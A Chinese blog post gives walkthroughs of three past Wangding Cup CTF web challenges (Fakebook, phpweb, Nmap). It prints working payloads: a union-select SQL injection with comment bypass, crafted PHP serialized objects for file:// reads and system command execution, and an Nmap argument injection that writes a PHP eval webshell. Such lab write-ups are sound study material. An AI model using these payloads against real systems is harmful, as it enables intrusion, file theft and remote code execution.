当前位置:网站首页>CTF-网鼎杯往届题目
CTF-网鼎杯往届题目
2022-08-02 03:25:00 【SevenCold】
1.[网鼎杯 2018]Fakebook
打开连接是一个类似于论坛的一个web应用,有登录和注册,首先在登录处试了试sql注入,失败了,然后乖乖去注册,在注册的时候想到了xss,试验后发现也并不可行。只能乖乖登录找bug了
登陆后发现用户名有超链接,点进入后就发现url是这样的

自然而然又想到了sql注入,测试后发现可以的,然后按流程,先用order by测试字段数,然后依次爆数据库名,表名,字段名 (过程中发现后端过滤的union select 的组合,测试后用/* */绕过)
构造url为http://6640d1b5-e1a8-45bb-b9f6-26bbdee8d84f.node4.buuoj.cn:81/view.php?no=2%20%20union%20/**/%20select%201,group_concat(column_name),2,3%20from%20information_schema.columns%20where%20table_name=%27users%27
得到字段名如下
其中只有data数据不知道是啥,我看了一下发现是一个序列化的字符串。
我自己勉强就做到这了,然后去看wp,这里用目录扫描可以扫到robots.txt和flag.php,打开robots.txt可以发现有一个php文件的备份文件,下载后打开。

其中比较关键的就是这个get函数了,查阅curl的资料可以得知,此处get函数主要就是在打开一个url,而这个url就是我们那个blog的url,因此这里是由文件包含漏洞的,我们可以设置blog的url为file:///var/www/html/flag.php,然后就可以读取flag.php了。
构造url为http://6640d1b5-e1a8-45bb-b9f6-26bbdee8d84f.node4.buuoj.cn:81/view.php?no=2%20%20union%20/**/%20select%201,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:5:%22admin%22;s:3:%22age%22;i:18;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
打开页面中会有一段base64的编码,解码后即为flag。
2.[网鼎杯 2020 朱雀组]phpweb
拿到题后查看源代码,发现表单里的两个参数是func和p,我突然后意识到可能是在函数名和参数,然后我试了一下。
用bp抓包然后修改func=hightlight_file和p=index.php。

说明猜测正确,在后端用call|_user_func来运行函数,但是过滤很多函数,如exec,system等等(后面还有很多,截图没截上)。
我首先想到的是用include函数结合php伪协议上传shell,但是发现call|_user_func不能运行include函数,然后又想绕过in_array黑名单,但好像也不太可行。
然后发现代码中有两处调用call|_user_func函数,而且Test类中的调用没有黑名单检测,我猜测这可能是个突破点,但是搞了半天也没搞出来,无奈还是去搜了wp。
发现我到此为止都是没问题,Test也确实是个突破点,如何突破了,用反序列化,就是unserialize函数,然后写了一个php脚本
<?php
class Test{
var $p = "ls";
var $func = 'system';
}
$n = new Test();
echo serialize($n);
?>
得到序列化的字符串后发送,然后并没有找到比较明显有flag的文件,然后可以查找,用find / -name flag*

然后去cat /tmp/flagoefiu4r93得到flag。
3.[网鼎杯 2020 朱雀组]Nmap
经过将网页扫描结果与真是nmap扫描结果进行对比,发现很一致,所以猜测网页后端就是调用了nmap命令,那我们就可以使用一些奇奇怪怪的命令了。
-oN (标准输出)
-oX (XML输出)
-oS (ScRipT KIdd|3 oUTpuT)
-oG (Grep输出)
-oA (输出至所有格式)
可以创建shell文件
' <?= @eval($_POST[1]);?> -oG a.phtml '
因为过滤了php,因此用短标签<?= ?>代替,然后就看了大佬的wp,用单引号和空格绕过escapeshellarg()与escapeshellcmd()函数(纯纯知识盲区)
然后就可以用蚁剑或菜刀连接,找到flag咯。
边栏推荐
- 14. JS Statements and Comments, Variables and Data Types
- 4. The form with the input
- Advanced Operations on Arrays
- (1)Thinkphp6入门、安装视图、模板渲染、变量赋值
- (1) introduction to Thinkphp6, installation view, template rendering, variable assignment
- PHP基金会三月新闻公告发布
- [mikehaertl/php-shellcommand]一个用于调用外部命令操作的库
- SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
- 3.PHP数据类型、常量、字符串和运算符
- 16. JS events, string and operator
猜你喜欢
随机推荐
(7) 浅学 “爬虫” 过程 (概念+练习)
IO stream, encoding table, character stream, character buffer stream
(1) introduction to Thinkphp6, installation view, template rendering, variable assignment
Alfa: 1 vulnhub walkthrough
v-on基本使用、参数传递、修饰词
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
PHP Foundation March Press Announcement Released
PHP有哪些框架?
Masashi: 1 vulnhub walkthrough
(2) Thinkphp6 template engine ** tag
Several interesting ways to open PHP: from basic to perverted
点名系统和数组元素为对象的排序求最大值和最小值
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
数组的高级操作
解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
如何根据地图上的两个坐标点来确定方向
Kali install IDEA
JS objects, functions and scopes









